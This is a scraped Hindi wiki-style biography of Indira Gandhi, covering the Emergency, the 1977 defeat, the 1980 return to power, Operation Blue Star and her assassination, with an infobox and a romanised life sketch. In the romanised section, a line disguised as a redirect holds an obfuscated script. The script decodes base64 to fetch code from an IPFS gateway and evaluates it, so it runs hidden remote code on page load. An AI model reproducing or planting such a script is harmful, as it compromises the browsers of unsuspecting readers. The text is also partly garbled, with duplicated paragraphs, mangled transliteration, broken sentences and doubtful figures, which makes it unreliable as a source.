अधिकारियों द्वारा जनता को नाजायज़ रूप से परेशान भी किया गया।
 
 
 
आपातकाल में सबसे '''ज़्यादा अखरने वाली बात थी- लोकतंत्र के चौथे स्तंभ को सेंसरशिप लगाकर कमज़ोर कर देना।''' अखबार, रेडियो और टी.वी. पर सेंसर लगा दिया गया। सरकार के विरुद्ध कुछ भी प्रकाशित नहीं किया जा सकता था। मौलिक अधिकार लगभग समाप्त हो गए थे। अभिव्यक्ति की आज़ादी पर रोक लगाना एक बड़ी ग़लती थी। क्योंकि यदि प्रतिबंध नहीं होता तो जनता के सामने यह सत्य प्रकट होता कि आपातकाल लगाए जाने के पीछे कारण क्या थे। जनता की प्रतिक्रिया भी इंदिरा गाँधी तक नहीं पहुँच रही थी। इस काल के दौरान ऐसी घटनाएँ भी घटीं जो बहुत शर्मनाक थीं। इंदिरा गाँधी तक जो खबरें आ रही थीं, उनसे उन्हें यह लगा कि जनता आपातकाल की उपलब्धियों से खुश है। चाटुकारों ने उन्हें सूचित किया कि वह जनता में लोकप्रिय हैं और यदि चुनाव कराए जाएँ तो उन्हें विजयश्री अवश्य प्राप्त होगी। तब इंदिरा जी ने [[18 जनवरी]], [[1977]] में लोकसभा के चुनाव कराए जाएंगे। इसके साथ ही राजनीतिक क़ैदियों की रिहाई हो गई। मीडिया की स्वतंत्रता बहाल हो गई। राजनीतिक सभाओं और चुनाव प्रचार की आज़ादी दे दी गई।
 
 
 
लेकिन इंदिरा गाँधी ने स्थिति का सही मूल्याकंन नहीं किया था। जिन नेताओं को आपातकाल के दौरान बंदी बनाया गया था, उन्होंने रिहा होने के बाद जेल में भुगती ज्यादतियों और अत्याचारों का विवरण जनता को दिया। '''जनता ने भी आपातकाल की पीड़ा झेली थी। उधर विपक्ष अधिक सशक्त होकर सामने आ गया।''' जनसंघ, कांग्रेस-ओ, समाजवादी पार्टी और लोकदल ने मिलकर एक नई पार्टी का गठन किया जिसका नाम 'जनता पार्टी' रखा गया। इस पार्टी को अकाली दल, डी.एम.के. तथा साम्यवादी पार्टी (एम) का भी सहयोग प्राप्त हो गया। इंदिरा जी के सहयोगी जगजीवन राम विरोधियों से जा मिले। इनका दलित और हरिजन वर्ग पर काफ़ी प्रभाव था। दरअसल जगजीवन राम ने उस समय अति महत्त्वाकांक्षा दिखाई थी जब इलाहाबाद उच्च न्यायालय ने इंदिरा गाँधी के विरुद्ध फैसला दिया था। जगजीवन राम ने जब स्वयं को प्रधानमंत्री पद का दावेदार घोषित किया था तब इंदिरा गाँधी ने उन्हें नज़रबंद करवा दिया था। इस कारण जगजीवन राम भी जानते थे कि कांग्रेस में अब उनका कोई भविष्य नहीं रह गया है। नंदिनी सत्पथी और हेमवती नंदन बहुगुणा भी इंदिरा गाँधी का साथ छोड़ गए। 16 मार्च 1977 को लोकसभा के चुनाव संपन्न हुए।
 
 
 
==जनता पार्टी की सत्ता==
 
देश की जनता ने आपातकाल की ज्यादतियों के विरोध में इंदिरा गाँधी के ख़िलाफ़ मतदान किया। जनता को भी यह उम्मीद थी कि परिवर्तन से सुधार अवश्य आएगा। उनकी आर्थिक स्थिति सुधरेगी। लेकिन भारतीय जनता ने उस समय यह आकलन नहीं किया था कि जनता पार्टी में जिन दलों के लोग हैं, वे भिन्न नीतियों और विचारों से पोषित रहे हैं। इस कारण सैद्धांतिक रूप से उनमें मतभेद हैं।
 
;पार्टी सत्ता से बाहर
 
चुनाव प्रचार के दौरान इंदिरा गाँधी ने हवा का रुख़ पहचान लिया था। वह समझ गई थीं कि इस बार के चुनाव में उन्हें निश्चित रूप से हार का सामना करना होगा। उत्तरी भारत का दौरे करते हुए उन्होंने देख लिया था कि उनकी सभाओं में भीड़ काफ़ी कम है और लोगों में कोई उत्साह नहीं है। चुनाव परिणाम आए। इन परिणामों ने सभी लोगों को आश्चर्य में डाल दिया। उनकी पार्टी सत्ता से बाहर हो गई। जनता पार्टी और उसके सहयोगी दलों को 542 में से 330 सीटें प्राप्त हुईं। इंदिरा गाँधी की पार्टी मात्र 154 स्थानों पर ही विजय प्राप्त कर सकी।
 
;निराशाजनक प्रदर्शन
 
इंदिरा गाँधी ऐसी प्रधानमंत्री रहीं जो अपनी सीट तक नहीं बचा पाईं। इनके पुत्र संजय गाँधी को भी हार का सामना करना पड़ा। उत्तरी भारत में इंदिरा कांग्रेस का प्रदर्शन बेहद निराशाजनक था। सात राज्यों की 234 सीटों में से इंदिरा कांग्रेस को मात्र 2 सीटें ही प्राप्त हो सकीं। दक्षिण भारत की स्थिति इंदिरा गाँधी के अनुकूल थी। यहां आपातकाल में ज्यादतियाँ भी नहीं हुई थीं। दक्षिण भारत के राज्यों को आपातकाल के दौरान लागू हुए बीस सूत्रीय कार्यक्रमों से काफ़ी लाभ भी हुआ था। 1971 के चुनाव की तुलना में इस बार वहाँ 22 सीटें अधिक मिलीं और आंकड़ा 70 से बढ़कर 92 हो गया।
 
 
 
जनता पार्टी में जश्न का माहौल था और इस बात को लेकर चिंतन हो रहा था कि अगला प्रधानमंत्री कौन होगा। उस समय प्रधानमंत्री पद के तीन प्रबल दावेदार सामने आए थे- चौधरी चरण सिंह, मोरारजी देसाई और जगजीवन राम। प्रधानमंत्री पद को लेकर तीनों दृढ़ संकल्प थे। यहाँ जयप्रकाश नारायण का उल्लेख करना प्रासंगिक होगा जो जीवन के श्रेष्ठतम काल से गुज़र रहे थे। उनका आभमंडल जनता पार्टी के लिए चमत्कारी था। वह 'किंग मेकर' की स्थिति प्राप्त कर चुके थे। यह स्थिति कभी महात्मा गाँधी को प्राप्त हुई थी। '''जयप्रकाश नारायण की सहमति  से 23 मार्च 1977 को मोरारजी देसाई प्रधानमंत्री बनाए गए। इस समय मोरारजी देसाई की उम्र 81 वर्ष हो चुकी थी।'''
 
 
 
==सत्ता में वापसी==
 
[[चित्र:Articles-Of-Indira-Gandhi.jpg|thumb|250px|इंदिरा गाँधी की हत्या के समय की साड़ी, चप्पलें और बैग]]
 
इंदिरा गाँधी सत्ता से बाहर हो चुकी थीं और जनता पार्टी सत्ता में थी। [[चौधरी चरण सिंह]] तथा राजनारायण चाहते थे कि इंदिरा गाँधी को जेल भेज दिया जाए लेकिन मोरारजी देसाई पुराने कांग्रेसी थे और एक ज़माने में पंडित नेहरू के सहयोगी भी थे। मोरारजी देसाई राजनीतिक द्वेष को व्यक्तिगत द्वेष में परिवर्तित नहीं करना चाहते थे। ऐसी स्थिति में राजनारायण ज़रूरत से ज़्यादा तिलमिला रहे थे। लेकिन मोरारजी देसाई की सलाह से आगे जाकर कुछ भी करना उन्हें असंभव नज़र आ रहा था।  कांग्रेस को एक अन्य विभाजन की त्रासदी भी भोगनी पड़ी। ब्रह्मानंद रेड्डी और वाई.वी. चौहान ने अपने खेमे के साथ इंदिरा गाँधी से किनारा कर लिया। उन्हें लगा कि इंदिरा गाँधी का करिश्मा समाप्त हो चुका है। कांग्रेस पार्टी में उनका कोई विशिष्ट स्थान नहीं रह गया है। 1978 के आरम्भ में श्रीमती गाँधी के समर्थक कांग्रेस पार्टी से अलग हो गए और कांग्रेस-आई या काँग्रेस-इं (इं से इंदिरा) पार्टी की स्थापना की।
 
 
 
इंदिरा गाँधी पर जनता पार्टी के शासनकाल में अनेक आरोप लगाए गए और कई कमीशन जाँच के लिए नियुक्त किए गए। इनमें 'शाह कमीशन' सबसे उल्लेखनीय माना जाता है। आपातकाल में तथाकथित आपराधिक कार्यों के लिए उन पर देश की कई अदालतों में मुक़दमे क़ायम किए गए। सरकारी भ्रष्टाचार के आरोप में श्रीमती गाँधी कुछ समय तक जेल में रहीं। <ref>अक्टूबर 1977 और दिसम्बर 1978</ref> इन झटकों के बावज़ूद नवम्बर 1978 में वह नई संसदीय सीट से चुनाव जीतने में कामयाब रहीं और उनकी कांग्रेस-इं पार्टी धीरे-धीरे फिर से मज़बूत होने लगी। सत्तारूढ़ जनता पार्टी में अंतर्कलह के कारण अगस्त 1979 में सरकार गिर गई। जब जनवरी [[1980]] में [[लोकसभा]] <ref>संसद का निचला सदन</ref> के लिए चुनाव हुए तो श्रीमती गाँधी और उनकी पार्टी भारी बहुमत से सत्ता में लौट आई। इंदिरा और उनके पुत्र के ख़िलाफ़ चल रहे सभी क़ानूनी मुक़दमे वापस ले लिए गए। भारत में एक नारी के साथ जो व्यवहार हो रहा था, वह भारतीय परंपरा के अनुकूल नहीं था। इस कारण लोगों को इंदिरा गाँधी के साथ सहानुभूति हो रही थी। उधर जनता पार्टी से जनता का भी मोहभंग होने लगा था। जनता पार्टी सरकार प्रत्येक मोर्चे पर विफल साबित हो रही थी। देश को विकास के नाम पर जनता पार्टी के आंतरिक झगड़ों का उपहार प्राप्त हो रहा था।
 
 
====कांग्रेस पार्टी की सरकार====
 
====कांग्रेस पार्टी की सरकार====
 
अभी तीन वर्ष भी पूर्ण नहीं हुए थे कि जनता पार्टी में दरारें पड़ गईं और देश को मध्यावधि चुनाव का भार झेलना पड़ा। इंदिरा गाँधी ने देश में घूम-घूमकर चुनाव प्रचार के दौरान आपातकाल के लिए शर्मिंदगी का इजहार किया और काम करने वाली सुदृढ़ सरकार का नारा दिया। लोगों को यह नारा काफ़ी पसंद आया और चुनाव के बाद नतीजों ने यह प्रमाणित भी कर दिया। इंदिरा कांग्रेस को 592 में से 353 सीटें प्राप्त हुईं और स्पष्ट बहुमत के कारण केंद्र में इनकी सरकार बनी। इंदिरा गाँधी पुनः प्रधानमंत्री बन गईं। इस प्रकार 34 महीनों के बाद वह सत्ता पर दोबारा क़ाबिज हुईं। जनता पार्टी ने 1977 में सत्ता में आने के बाद कई राज्यों की कांग्रेस सरकार को बर्खास्त कर दिया था। उस समय उसने यह तर्क दिया कि जनता का रुझान जनता पार्टी के साथ है, अतः नए चुनाव होने चाहिए। इंदिरा गाँधी ने सत्ता में आने के बाद जनता पार्टी द्वारा आरंभ की गई परिपाटी पर चलकर उन प्रदेशों की सरकारों को बर्खास्त कर दिया जहाँ जनता पार्टी तथा विपक्ष का शासन था। बाद में हुए इन राज्यों के चुनावों में कांग्रेस ने अभूतपूर्व सफलता प्राप्त की। 22 राज्यों में से 15 राज्यों में कांग्रेस पार्टी की सरकार बन गई। यह चुनाव जून 1980 में संपन्न हुए थे।  
 
अभी तीन वर्ष भी पूर्ण नहीं हुए थे कि जनता पार्टी में दरारें पड़ गईं और देश को मध्यावधि चुनाव का भार झेलना पड़ा। इंदिरा गाँधी ने देश में घूम-घूमकर चुनाव प्रचार के दौरान आपातकाल के लिए शर्मिंदगी का इजहार किया और काम करने वाली सुदृढ़ सरकार का नारा दिया। लोगों को यह नारा काफ़ी पसंद आया और चुनाव के बाद नतीजों ने यह प्रमाणित भी कर दिया। इंदिरा कांग्रेस को 592 में से 353 सीटें प्राप्त हुईं और स्पष्ट बहुमत के कारण केंद्र में इनकी सरकार बनी। इंदिरा गाँधी पुनः प्रधानमंत्री बन गईं। इस प्रकार 34 महीनों के बाद वह सत्ता पर दोबारा क़ाबिज हुईं। जनता पार्टी ने 1977 में सत्ता में आने के बाद कई राज्यों की कांग्रेस सरकार को बर्खास्त कर दिया था। उस समय उसने यह तर्क दिया कि जनता का रुझान जनता पार्टी के साथ है, अतः नए चुनाव होने चाहिए। इंदिरा गाँधी ने सत्ता में आने के बाद जनता पार्टी द्वारा आरंभ की गई परिपाटी पर चलकर उन प्रदेशों की सरकारों को बर्खास्त कर दिया जहाँ जनता पार्टी तथा विपक्ष का शासन था। बाद में हुए इन राज्यों के चुनावों में कांग्रेस ने अभूतपूर्व सफलता प्राप्त की। 22 राज्यों में से 15 राज्यों में कांग्रेस पार्टी की सरकार बन गई। यह चुनाव जून 1980 में संपन्न हुए थे।  
====संजय गाँधी की मृत्यु ====
 
[[23 जून]], 1980 को प्रधानमंत्री इंदिरा गाँधी के छोटे पुत्र संजय गाँधी की वायुयान दुर्घटना में मृत्यु हो गई। संजय की मृत्यु ने इंदिरा गाँधी को तोड़कर रख दिया। इस हादसे से वह स्वयं को संभाल नहीं पा रही थीं। तब [[राजीव गाँधी]] ने पायलेट की नौकरी छोड़कर संजय गाँधी की कमी पूरी करने का प्रयास किया। लेकिन राजीव गाँधी ने यह फैसला ह्रदय से नहीं किया था। इसका कारण यह था कि उन्हें राजनीति के दांवपेच नहीं आते थे। जब इंदिरा गाँधी की दोबारा वापसी हुई तब देश में अस्थिरता का माहौल उत्पन्न होने लगा। [[कश्मीर]], [[असम]] और [[पंजाब]] आतंकवाद की आग में झुलस रहे थे। दक्षिण भारत में भी सांप्रदायिक दंगों का माहौल पैदा होने लगा था। दक्षिण भारत जो कांग्रेस का गढ़ बन चुका था, [[1983]] में विधानसभा चुनावों में कांग्रेस को [[आंध्र प्रदेश]] और [[कर्नाटक]] में हार का सामना करना पड़ा। वहाँ क्षेत्रीय स्तर की पार्टियाँ सत्ता पर क़ाबिज हो गईं।
 
====ऑपरेशन ब्ल्यू स्टार====
 
{{main|ऑपरेशन ब्ल्यू स्टार}}
 
पंजाब में भिंडरावाले के नेतृत्व में अलगाववादी ताकतें सिर उठाने लगीं और उन ताकतों को [[पाकिस्तान]] से हवा मिल रही थी। '''पंजाब में भिंडरावाले का उदय इंदिरा गाँधी की राजनीतिक महत्त्वाकांक्षाओं के कारण हुआ था।''' अकालियों के विरुद्ध भिंडरावाले को स्वयं इंदिरा गाँधी ने ही खड़ा किया था। लेकिन भिंडरावाले की राजनीतिक महत्त्वाकांक्षाएं देश को तोड़ने की हद तक बढ़ गई थीं। जो भी लोग पंजाब में अलगाववादियों का विरोध करते थे, उन्हें मौत के घाट उतार दिया जाता था। भिंडरावाले को ऐसा लग रहा था कि अपने नेतृत्व में पंजाब का अलग अस्तित्व बना लेगा। यह काम वह हथियारों के बल पर कर सकता है। यह इंदिरा गाँधी की ग़लती थी कि 1981 से लेकर 1984 तक उन्होंने पंजाब समस्या के समाधान के लिए कोई युक्तियुक्त कार्रवाई नहीं की। इस संबंध में कुछ राजनीतिज्ञों का कहना है कि इंदिरा गाँधी शक्ति के बल पर समस्या का समाधान नहीं करना चाहती थीं।वह पंजाब के अलगाववादियों को वार्ता के माध्यम से समझाना चाहती थीं।
 
 
 
==मृत्यु==
 
==मृत्यु==
[[स्वर्ण मन्दिर]] पर हमले के प्रतिकार में पाँच महीने के बाद ही [[31 अक्टूबर]] [[1984]] को श्रीमती गाँधी के आवास पर तैनात उनके दो सिक्ख अंगरक्षकों ने गोली मारकर उनकी हत्या कर दी।
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[[स्वर्ण मन्दिर]] पर हमले के प्रतिकार में पाँच महीने के बाद ही [[31 अक्टूबर]] [[1984]] को श्रीमती गाँधी के आवास पर तैनात उनके दो [[सिक्ख]] अंगरक्षकों ने गोली मारकर उनकी हत्या कर दी। [[भारत]] के जितने भी [[प्रधानमंत्री]] हुए हैं, उन सभी की अनेक विशेषताएँ हो सकती हैं, लेकिन इंदिरा गाँधी के रूप में जो प्रधानमंत्री भारत भूमि को प्राप्त हुआ, वैसा प्रधानमंत्री अभी तक दूसरा नहीं हुआ है क्योंकि एक प्रधानमंत्री के रूप में उन्होंने विभिन्न चुनौतियों का मुक़ाबला करने में सफलता प्राप्त की। युद्ध हो, विपक्ष की ग़लतियाँ हों, कूटनीति का अंतर्राष्ट्रीय मैदान हो अथवा देश की कोई समस्या हो- इंदिरा गाँधी ने अक्सर स्वयं को सफल साबित किया। इंदिरा गाँधी, नेहरू के द्वारा शुरू की गई औद्योगिक विकास की अर्द्ध समाजवादी नीतियों पर क़ायम रहीं। उन्होंने सोवियत संघ के साथ नज़दीकी सम्बन्ध क़ायम किए और पाकिस्तान-भारत विवाद के दौरान समर्थन के लिए उसी पर आश्रित रहीं। जिन्होंने इंदिरा गाँधी के प्रधानमंत्रित्व काल को देखा है, वे लोग यह मानते हैं कि इंदिरा गाँधी में अपार साहस, निर्णय शक्ति और धैर्य था।
 
 
==उपसंहार==
 
[[भारत]] के जितने भी प्रधानमंत्री हुए हैं, उन सभी की अनेक विशेषताएँ हो सकती हैं, लेकिन इंदिरा गाँधी के रूप में जो प्रधानमंत्री भारत भूमि को प्राप्त हुआ, वैसा प्रधानमंत्री अभी तक दूसरा नहीं हुआ है क्योंकि एक प्रधानमंत्री के रूप में उन्होंने विभिन्न चुनौतियों का मुक़ाबला करने में सफलता प्राप्त की। युद्ध हो, विपक्ष की ग़लतियाँ हों, कूटनीति का अंतर्राष्ट्रीय मैदान हो अथवा देश की कोई समस्या हो- इंदिरा गाँधी ने अक्सर स्वयं को सफल साबित किया। इंदिरा गाँधी, नेहरू के द्वारा शुरू की गई औद्योगिक विकास की अर्द्ध समाजवादी नीतियों पर क़ायम रहीं। उन्होंने सोवियत संघ के साथ नज़दीकी सम्बन्ध क़ायम किए और पाकिस्तान-भारत विवाद के दौरान समर्थन के लिए उसी पर आश्रित रहीं। '''जिन्होंने इंदिरा गाँधी के प्रधानमंत्रित्व काल को देखा है, वे लोग यह मानते हैं कि इंदिरा गाँधी में अपार साहस, निर्णय शक्ति और धैर्य था।'''
 
 
 
 
==उपलब्धियाँ==
 
==उपलब्धियाँ==
 
*बैंकों का राष्ट्रीयकरण
 
*बैंकों का राष्ट्रीयकरण
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*प्रीवीपर्स समाप्ति   
 
*प्रीवीपर्स समाप्ति   
  
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<div align="center">'''[[इंदिरा गाँधी का जीवन परिचय|आगे जाएँ »]]'''</div>
  
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==टीका टिप्पणी और संदर्भ==
 
==टीका टिप्पणी और संदर्भ==
 
<references/>
 
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[[Category:भारत के वित्त मंत्री]]
 
[[Category:भारत के वित्त मंत्री]]
 
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Latest revision as of 06:50, 19 November 2018

iandira gaandhi vishay soochi
iandira gaandhi
poora nam iandira priyadarshani gaandhi
any nam indu
janm 19 navambar, 1917
janm bhoomi ilahabad, uttar pradesh
mrityu 31 aktoobar, 1984
mrityu sthan dilli
mrityu karan hatya
abhibhavak javaharalal neharoo, kamala neharoo
pati/patni firoz gaandhi
santan rajiv gaandhi aur sanjay gaandhi
smarak shakti sthal, dilli
nagarikata bharatiy
prasiddhi 1971 ke bharat -pakistan yuddh mean bharat ki vijay
parti kaangres
pad bharat ki tritiy pradhanamantri
kary kal 19 janavari, 1966 se 24 march, 1977, 14 janavari, 1980 se 31 aktoobar, 1984
vidyalay vishvabharati vishvavidyalay bangal, ianglaiand ki aauksaford yoonivarsiti, shaanti niketan
bhasha hindi, aangrezi
jel yatra aktoobar, 1977 aur disambar, 1978
puraskar-upadhi bharat ratn samman
vishesh yogadan baiankoan ka rashtriyakaran
any janakari iandira gaandhi apani pratibha aur rajanitik dridhata ke lie 'vishv rajaniti' ke itihas mean jani jati haian aur iandira gaandhi ko 'lauh-mahila' ke nam se sanbodhit kiya jata hai. ye bharat ki pratham mahila pradhanamantri thian.

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iandira priyadarshani gaandhi (aangrezi:Indira Gandhi, janm- 19 navambar, 1917, ilahabad; mrityu- 31 aktoobar, 1984, dilli) n keval bharatiy rajaniti par chhaee rahian balki vishv rajaniti ke kshitij par bhi ve ek prabhav chho d geean. shrimati iandira gaandhi ka janm neharoo khanadan mean hua tha. iandira gaandhi, bharat ke pratham pradhanamantri pandit javaharalal neharoo ki ikalauti putri thian. aj iandira gaandhi ko sirf is karan nahian jana jata ki vah pandit javaharalal neharoo ki beti thian balki iandira gaandhi apani pratibha aur rajanitik dridhata ke lie 'vishvarajaniti' ke itihas mean jani jati haian aur iandira gaandhi ko 'lauh-mahila' ke nam se sanbodhit kiya jata hai. ye bharat ki pratham mahila pradhanamantri thian.

  1. REDIRECTsaancha:inhean bhi dekhean<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

jivan parichay

iandira ji ka janm 19 navambar, 1917 ko ilahabad, uttar pradesh ke anand bhavan mean ek sampann parivar mean hua tha. inaka poora nam hai- 'iandira priyadarshani gaandhi'. inake pita ka nam javaharalal neharoo aur dada ka nam motilal neharoo tha. pita evan dada donoan vakalat ke peshe se sanbandhit the aur desh ki svadhinata mean inaka prabal yogadan tha. inaki mata ka nam kamala neharoo tha, jo dilli ke pratishthit kaul parivar ki putri thian. iandira ji ka janm aise parivar mean hua tha, jo arthik evan bauddhik donoan drishti se kafi sanpann tha. at: inhean anand bhavan ke roop mean mahalanuma avas prapt hua. iandira ji ka nam inake dada pandit motilal neharoo ne rakha tha. yah sanskritanishth shabd hai jisaka ashay hai kaanti, lakshmi, evan shobha. inake dadaji ko lagata tha ki pautri ke roop mean unhean maan lakshmi aur durga ki prapti huee hai. pandit neharoo ne atyant priy dekhane ke karan apani putri ko priyadarshini ke nam se sanbodhit kiya jata tha. chooanki javaharalal neharoo aur kamala neharoo svayan behad suandar tatha akarshak vyaktitv ke malik the, is karan suandarata ke mamale mean yah gunasootr unhean apane mata-pita se prapt hue the. inhean ek ghareloo nam bhi mila jo iandira ka sankshipt roop 'iandu' tha.

yogadan

iandira gaandhi ne apane bachapan se hi bharatiy rashtriy kaangres ke karyoan mean yogadan aranbh kar diya tha. apake paitrik nivas anand bhavan ka vatavaran rashtriy jivan darshan aur svatantrata aandolan ka keandrabiandu tha. apane bachapan mean hi bal charakha sangh ki sthapana ki. 1930 mean asahayog aandolan ke dauran kaangres parti ki sahayata karane ke lie bachchoan ki ek vanari sena banaee, jo pulis tatha anyany sarakari gatividhiyoan ki soochana kaangres ko deti rahi. sanh‌ 1942 ki agast ki mahakraanti ke aandolan mean apane jelayatra ki. bharat ki ajadi ke avasar par dilli mean jo bhishan hiandoo-muslim-danga hua, usamean gaandhi ji ke nirdeshanusar apane seva aur shaantisthapan ka kam kiya. desh ki samajik, sahityik, saanskritik aur samajasevi sansthaoan se bhi apaka nikat ka sanbandh raha hai, jinamean se kuchh ke nam is prakar hai : adhyaksh, trastij bord, (1) kamala neharoo memoriyal aspatal aur (2) kastooraba gaandhi memoriyal trast; sansthapak trasti aur adhyaksh, bal sahayog, nee dilli; adhyaksh, bal bhavan bord aur bal rashtriy sangrahalay, nee dilli; sansthapak aur adhyaksh, kamala neharoo vidyalay, ilahabad; upadhyaksh, keandriy samaj kalyan bord; ajivan sanrakshak, bharatiy bal kalyan parishadh; sanrakshak, nagaripracharini sabha, kashi; upadhyaksh, aantararashtriy bal kalyan parishadh; mukhy sanrakshak, iandiyan kauansil ph aaur aphrika (1960); petran, bharat mean videshi chhatr sangh; sadasy, kaangres karyakarini samiti, keandriy chunav samiti aur keandriy sansadiy bord; adhyaksh, akhil bharatiy koangres kameti ki rashtriy ekata parishadh; adhyaksh, akhil bharatiy yuvak kaangres; adhyaksh, bharatiy rashtriy kaangres (1959-60); sadasy, dilli vishvavidyalay kort; yoonesko mean bharatiy shishtamandal (1960); yoonesko ka kary karini bord (1960-64); sadasy, rashtriy suraksha parishadh (1962); rashtriy suraksha nidhi ki karyakarini samiti (1962); adhyaksh, keandriy nagarik parishadh (1962); sadasy, rashtriy ekata parishadh, bharat sarakar; adhyaksh, sangit natak akadami (1965) se achary, vishvabharati; chaansalar, javaharalal neharoo vishvavidyalay; adhyaksh, himalay parvatarohan sanstha aur dakshin bharat hiandi prachar sabha; petran, iandiyan sosaiti aauv iantaranaishanal la; adhyaksh, neharoo memoriyal sangrahalay tatha laibreri sosaiti; trasti, gaandhi smarak nidhi; adhyaksh, svarajy bhavan trast; madars evard, amarika (1953); kootaniti ke kshetr mean mahatvapoorn kary ke liye itali ka ijavela d-este evard aur yel yoovirsiti, halaiand memoriyal praij prapt kie.

upadhiyaan

phraans ki janamat sankhya dvara lie ge abhimat ke anusar 1967 tatha 1968 lagatar do varsh ke lie phraansisiyoan mean sabase adhik vikhyat mahila, amarika mean ek gellap abhimat sarvekshan ke anusar varsh 1971 mean vishv ka sabase adhik vikhyat vyaktitv, 1971 mean arjeantina sosaiti phar protekshan aauv ainimals dvara 1971 mean diploma aauv anar se vibhooshit; aandhr vishvavidyalay, agara vishvavidyalay, vikram vishv vidyalay, byoones ayars ke elasailvador vishvavidyalay, japan ke baseta vishvavidyalay, masko rajy vishvavidyalay aur aksaphord vishvavidyalay se manarth daktaret ki upadhiyaan prapt huee. sitizan aauv distiankshan, kolanbiya vishvavidyalay; sadasy, rajy sabha (agast 1964 se pharavari, 1967). 1971 mean lokasabha ke liye chuni gee. soochana aur prasaran mantri, bharat sarakar, 1964-66; 1966 se bharat ki pradhan mantri-24 janavari, 1966 ko pratham bar, 13 march, 1967 ko doosari bar aur 18 march, 1971 ko tisari bar shapath grahan; sath hi, paramanu oorja mantri; cheyaramain, yojana ayog; adhyaksh, vaijnanik tatha audyogik anusandhan parishadh tatha cheyaramain, hiandi samiti adi ke roop mean desh ki mahati seva ki.

mukhy batean

shrimati iandira gaandhi ke dada svargiy pan. motilal neharoo us aseanbali bhavan mean upasthit the jisamean saradar bhagat sianh aur batukeshvar datt ne desh ki janata ki avaj kan mean tel dale baithe british adhikariyoan tak pahuanchane ke lie bam pheanka tha. pan. motilal neharoo ne sanbhavat: vahian se yah than liya ki aisi nirdayi aur beeeman sarakar se sahayog karana mahapap hai. sare parivar ka jivan desh ko, rajy ko samarpit ho gaya. svargiy pan. motilal neharoo, svargiy pan. javaharalal neharoo, shrimati iandira gaandhi aur ab hamare yuva neta shri sanjay gaandhi, sabaka jivan isaka sakshi hai. sare sansar ke lokatantr ke itihas mean aisi bemisal kulaparanpara dekhane mean nahian ati jisane kisi rashtr ke hriday aur man par is gaurav evan sahajata ke sath shasan kiya ho aur rashtr ne bhi apani poori hardikata ke sath apana prem aur apani shraddha jisake prati u del di ho.

svargiy pan. javaharalal neharoo ke pradhan mantritvakal mean hi shrimati iandira gaandhi ne yoorop, eshiya, aphrika aur amarika ke vibhinn deshoan ki anek yatraean ki thian. in yatraoan mean unhean aantararashtriy rajaniti ki barikiyoan ko ganbhirata se janane samajhane aur usase parichit hone ka poora mauka mila tha. rashtramandaliy pradhanamantri sammelan ke silasile mean briten ki anek yatraean, soviyat sangh ki yatra, chin ki yatra, panchashil siddhaant ke janak baanduang sanmelan ke liye iandoneshiya ki yatra adi in vaideshik yatraoan mean ullekhaniy haian. apane desh mean bhi shrimati iandira gaandhi ko chin ke pradhanamantri chau en laee, roos ke pradhanamantri bulganin aur khraushchev, amariki rashtrapati ki patni jaikalin kenedi, yoogoslaviya ke rashtrapati tito adi vishvaprasiddh rajanitijnoan ka atithisatkar karane ke avasar mile the. in sare suavasaroan ne shrimati gaandhi ko vyavaharik rajanitijnata mean usi samay paripakp kar diya tha jab ve nepathy mean thian.

sanh‌ 1956 mean iandira ji ke samane kaangres ki adhyakshata ka prastav aya. isase pahale ve kaangres ki karyakarini ki sadasy rah chuki thian. khoob soch vichar kar aur apani shakti ko taul parakhakar unhoanne adhyaksh pad svikar kar liya. pragatishil kaangres adhyaksh ke roop mean iandira ji atyant saphal siddh huee. kaangresi mathadhishoan ke sthan par yogy yuvakoan ko, jab bhi avasar milata, lane mean ve kabhi hichake nahian. unaki karyashakti, samarthy, oj aur nishtha dekhakar unake pita ji ko bhi kahana p da tha---iandira pahale meri mitr aur salahakar thi, bad mean meri sathi bani aur ab to vah meri neta bhi hai.

kaangres adhyaksh ke roop mean shrimati iandira gaandhi ki apane pita pradhanamantri pan. javaharalal neharoo se takkar bhi huee. prashn keral ki big dati huee rajanitik sthiti ka tha. iandira ji ki ray thi ki keral ki is sthiti ka sudharane ke lie vahaan rashtrapati shasan lagoo kar dena chahie. sarakar ne aisa kadam pahale kabhi uthaya nahian tha, isalie neharoo ji dvividha mean the. par paristhiti ko jaanch parakhakar aantat: unhean iandira ji ki bat manani p di aur keral mean desh ka sabase pahala rashtrapati shasan lagoo hua. kuchh aisi hi halat u disa mean bhi thi. ve din door nahian the jab u disa ke shasan se kaangres ko nikal bahar kiya jata aur vahaan hay toba mach jati. u disa jakar vahaan ki paristhiti ka adhyayan karake iandira ji ne vahaan ke netaoan ko salah di ki kaangres ko tatkal vahaan ki ganatantr parishadh ke sath mili juli sarakar bana leni chahie. yah samayochit paramarsh bhi man liya gaya aur u disa ka asann sankat tal gaya. matr ye do ghatanaean unaki soojhabujh aur tvarit-nirnay-buddhi ka parichay dene ke liye asha hai, paryapt hoangi.

desh ka vibhajan

thumb|250px|left|iandira gaandhi stamp us samay desh vibhajan ke kinare par tha. jinna ke netritv mean muslim lig ne pakistan ki maang ki thi aur aangrez bhi jinna ki maang ko spasht hava de rahe the lekin gaandhiji vibhajan ke paksh mean nahian the. l aaurd mauantabetan kootaniti ka khel khelane mean lage hue the. vah ek or mahatma gaandhi ko ashvast kar rahe the ki desh ka vibhajan nahian hoga to doosari or pandit neharoo se kah rahe the ki do rashtroan ke vibhajan ke ph aaurmoole par hi azadi pradan ki jaegi. pandit neharoo sthiti ki ganbhirata ko samajh rahe the jabaki mahatma gaandhi is bhram mean the ki aangrez vayasaray vibhajan nahian chahata hai. jinna ki anuchit maang ke karan hindoo aur musalamanoan mean vaimanasy pasar gaya tha. mahattvakaankshi jinna pakistan ka pradhanamantri banane ke lie bahut lalayit the. mahatma gaandhi ne jinna ko sanpoorn aur akhand bharat ka pradhanamantri banane ka ashvasan diya. lekin jinna yah janate the ki pandit neharoo ke karan yah sanbhav nahian hai. hindoo kisi bhi muslim ko pradhanamantri ke roop mean svikar nahian kareange. aise mean desh saanpradayik dangoan ki ag mean jhulasane laga tha. mahatma gaandhi kisi tarah dangoan ki ag shaant karana chahate the. dilli mean bhi kee sthanoan par iansaniyat sharmasar ho rahi thi. tab mahatma gaandhi ne iandira ji ko yah muhim sauanpi ki vah dangagrast kshetroan mean jakar logoan ko samajhaean aur aman lautane mean madad karean.

